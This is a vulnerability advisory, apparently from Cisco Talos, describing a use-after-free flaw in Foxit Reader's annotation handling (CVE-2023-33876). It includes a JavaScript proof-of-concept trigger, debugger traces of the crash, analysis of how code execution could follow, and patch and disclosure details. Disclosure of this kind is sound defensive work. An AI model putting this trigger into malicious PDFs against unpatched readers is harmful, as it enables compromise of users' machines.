CVE-2023-33876
A use-after-free vulnerability exists in the way Foxit Reader 12.1.2.15332 handles destroying annotations. Specially crafted Javascript code inside a malicious PDF document can trigger reuse of a previously freed object, which can lead to memory corruption and result in arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially crafted, malicious site if the browser plugin extension is enabled.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Foxit Reader 12.1.2.15332
Foxit Reader - https://www.foxitsoftware.com/pdf-reader/
8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-416 - Use After Free
Foxit PDF Reader is one of the most popular PDF document readers. It aims for feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.
Javascript support in PDF renderers and editors enables dynamic documents that can change based on user input or events. There exists a use-after-free vulnerability in the way Foxit Reader handles certain events of form elements, such as text fields or buttons. This can be illustrated by the following proof-of-concept code:
function main() {
this.addAnnot( {page: 0, type: "Line"})
this.addAnnot({page: 1, type: "Stamp"});
getField("txt1").setAction("OnBlur",'annot_destroy();');
app.activeDocs[0].getField('txt1').setFocus();
this.addAnnot({page: 2, type: "Caret", popupOpen : true});
app.activeDocs[0].getField('txt1').setFocus();
this.addAnnot({page: 0, type: "Stamp", });
}
function annot_destroy(arg1, arg2, arg3) {
this.pageNum = 2;
this.getAnnots()[2].destroy();
}
The above code first creates annotation objects. Next, it assigns a callback function to txt1
on the action OnBlur
, which is promptly triggered by calls to setFocus
. In the action callback, it accesses an annotation object and destroys it, which in turn ends up freeing a large number of objects. The use-after-free condition occurs when a recently freed object is accessed without any validation. We can observe the following in the debugger (with PageHeap enabled):
0:000> g
Breakpoint 1 hit
eax=04a53538 ebx=2a692da0 ecx=1c652f30 edx=2123cf70 esi=2dc18ff8 edi=2a692f7c
eip=0087cade esp=0773f7b8 ebp=0773f810 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x7d9e:
0087cade 52 push edx ; [1]
0:000> dd edx
2123cf70 04ad7448 2dc18ff8 36b606e0 2c60ef60
2123cf80 c0c0c000 ffffffff 0c76cf08 01000101
2123cf90 00000004 00000000 1a066ff0 00000000
2123cfa0 35854fa0 00000000 00000000 00000000
2123cfb0 00000000 323deff0 00000000 36108ff0
2123cfc0 00000000 00000000 090607e7 f808000c
2123cfd0 c0c00000 00000000 c0c0c000 33264fe8
2123cfe0 36b606e0 c0c0c001 3f800000 00000000
0:000> u
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x7d9e:
0087cade 52 push edx
0087cadf 8b404c mov eax,dword ptr [eax+4Ch]
0087cae2 ffd0 call eax ; [2]
0087cae4 84c0 test al,al
0087cae6 7437 je FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x7ddf (0087cb1f)
0087cae8 85f6 test esi,esi
0087caea 7404 je FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x7db0 (0087caf0)
0087caec 8b06 mov eax,dword ptr [esi]
0:000> g
Breakpoint 0 hit
eax=0773ec58 ebx=0773ecc4 ecx=02951ce0 edx=00000000 esi=136c0ff8 edi=0c9b8ff8
eip=02c7e239 esp=0773ec30 ebp=0773ec70 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!FXJSE_GetClass+0x269:
02c7e239 ffd1 call ecx {FoxitPDFReader!safe_vsnprintf+0xf14c20 (02951ce0)} ; [3]
0:000> g
Breakpoint 0 hit
eax=0773ec58 ebx=0773ecc4 ecx=02a065b0 edx=00000000 esi=170f3ff8 edi=3326aff8
eip=02c7e239 esp=0773ec30 ebp=0773ec70 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!FXJSE_GetClass+0x269:
02c7e239 ffd1 call ecx {FoxitPDFReader!safe_vsnprintf+0xfc94f0 (02a065b0)}; [4]
0:000> g
Breakpoint 2 hit
eax=1c656ff0 ebx=1c652f30 ecx=1cb14fa0 edx=04a544e4 esi=2a694ff8 edi=2123cf70
eip=00eb2300 esp=0773f720 ebp=0773f7ac iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2e7a60:
00eb2300 57 push edi
0:000> dd edi ; [5]
2123cf70 ???????? ???????? ???????? ????????
2123cf80 ???????? ???????? ???????? ????????
2123cf90 ???????? ???????? ???????? ????????
2123cfa0 ???????? ???????? ???????? ????????
2123cfb0 ???????? ???????? ???????? ????????
2123cfc0 ???????? ???????? ???????? ????????
2123cfd0 ???????? ???????? ???????? ????????
2123cfe0 ???????? ???????? ???????? ????????
0:000> u
FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2e7a60:
00eb2300 57 push edi ; [6]
00eb2301 8b01 mov eax,dword ptr [ecx]
00eb2303 8b4028 mov eax,dword ptr [eax+28h]
00eb2306 ffd0 call eax ; [7]
00eb2308 84c0 test al,al
00eb230a 7410 je FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2e7a7c (00eb231c)
00eb230c 8b4dd8 mov ecx,dword ptr [ebp-28h]
00eb230f 6a00 push 0
At [1]
above, we see the second argument of the function at [2]
being pushed onto the stack. The value being pushed comes from the register edx
. If we continue the execution, an annotation object is fetched by calling Doc.getAnnots
at [5]
. The objects associated with the annotation object are freed by calling Annotation.destroy
at [4]
. Later, the value passed to the function is checked at [5]
. It can be observed that the memory pointed to by the register edi
is freed. At [6]
, the value in edi
is being pushed onto the stack as an argument to the function at [7]
. The function called at [7]
uses this value without any validation. This can be observed in a debugger at the time of the crash:
0:000> p
eax=01252830 ebx=1c652f30 ecx=1cb14fa0 edx=04a544e4 esi=2a694ff8 edi=2123cf70
eip=00eb2306 esp=0773f71c ebp=0773f7ac iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2e7a66:
00eb2306 ffd0 call eax {FoxitPDFReader!CryptUIWizExport+0x242ae0 (01252830)}
0:000>
(23c0.14d8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0773f6fc ebx=1c652f30 ecx=1cb14fa0 edx=04a544e4 esi=2123cf70 edi=2123cf70
eip=012522bd esp=0773f650 ebp=0773f708 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202
FoxitPDFReader!CryptUIWizExport+0x24256d:
012522bd 8b06 mov eax,dword ptr [esi] ds:002b:2123cf70=????????
0:000> u
FoxitPDFReader!CryptUIWizExport+0x24256d:
012522bd 8b06 mov eax,dword ptr [esi]
012522bf 8bce mov ecx,esi
012522c1 ff5008 call dword ptr [eax+8]
012522c4 8bf8 mov edi,eax
012522c6 85ff test edi,edi
012522c8 74df je FoxitPDFReader!CryptUIWizExport+0x242559 (012522a9)
012522ca c745e800000000 mov dword ptr [ebp-18h],0
012522d1 c745fc00000000 mov dword ptr [ebp-4],0
0:000> kb
# ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0773f708 0125283b 2123cf70 0773f7ac 00eb2308 FoxitPDFReader!CryptUIWizExport+0x24256d
01 0773f714 00eb2308 2123cf70 7b92b16e 2a692f7c FoxitPDFReader!CryptUIWizExport+0x242aeb
02 0773f7ac 0087cae4 2123cf70 7b92bed2 7fffffff FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2e7a68
03 0773f810 00a151b1 2dc18ff8 36b634c0 00a15180 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x7da4
04 0773f824 040cd52b 35852ff8 00000000 7b92be36 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x626a1
05 0773f8f4 040ce704 00000427 35852ff8 00000000 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1d0dfb
06 0773f918 040c90aa 00000427 35852ff8 00000000 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1d1fd4
07 0773f98c 040c991d 3b256e20 000a0404 00000427 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1cc97a
08 0773f9ac 76dd23a3 000a0404 00000427 35852ff8 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1cd1ed
09 0773f9d8 76dc30b6 040c98e9 000a0404 00000427 USER32!_InternalCallWinProc+0x2b
0a 0773fad0 76dc1975 040c98e9 00000000 00000427 USER32!UserCallWinProcCheckWow+0x4c6
0b 0773fb4c 76dc14c0 00000427 0773fb74 0099d3c4 USER32!DispatchMessageWorker+0x4a5
0c 0773fb58 0099d3c4 0f452ec8 0f452ec8 05f37798 USER32!DispatchMessageW+0x10
0d 0773fb74 0099d483 05f37798 0099d3f0 ffffffff FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x128684
0e 0773fb94 044eb2fe 00000000 05f63b14 074ce000 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x128743
0f 0773fbac 042b0cc0 00580000 00000000 0c254360 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x5eebce
10 0773fbf8 75f67d59 074ce000 75f67d40 0773fc60 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x3b4590
11 0773fc08 772fb74b 074ce000 533efd0d 00000000 KERNEL32!BaseThreadInitThunk+0x19
12 0773fc60 772fb6cf ffffffff 7732867f 00000000 ntdll!__RtlUserThreadStart+0x2b
13 0773fc70 00000000 042b0d8f 074ce000 00000000 ntdll!_RtlUserThreadStart+0x1b
In the above debugger output, we can observe esi
contains the same memory pointer, which belongs to a freed allocation. The value in esi
is dereferenced as if it were an object pointer. This directly leads to a use-after-free condition and results in a crash. Subsequent instructions constitute the usual vtable
function call with the actual function pointer coming from an area pointed to by esi
, which would give an attacker direct control over execution control flow.
Since additional Javascript code can be executed between object free and reuse, freed memory could be put under attacker control. With careful memory layout manipulation, this can lead to further memory corruption and ultimately arbitrary code execution.
Foxit provided patches here: https://www.foxit.com/downloads/#Foxit-Reader/ and here: https://www.foxit.com/downloads/#Foxit-PhantomPDF-Business/
2023-07-03 - Vendor Disclosure
2023-07-19 - Vendor Patch Release
2023-07-19 - Public Release
Discovered by Kamlapati Choubey and Aleksandar Nikolic of Cisco Talos.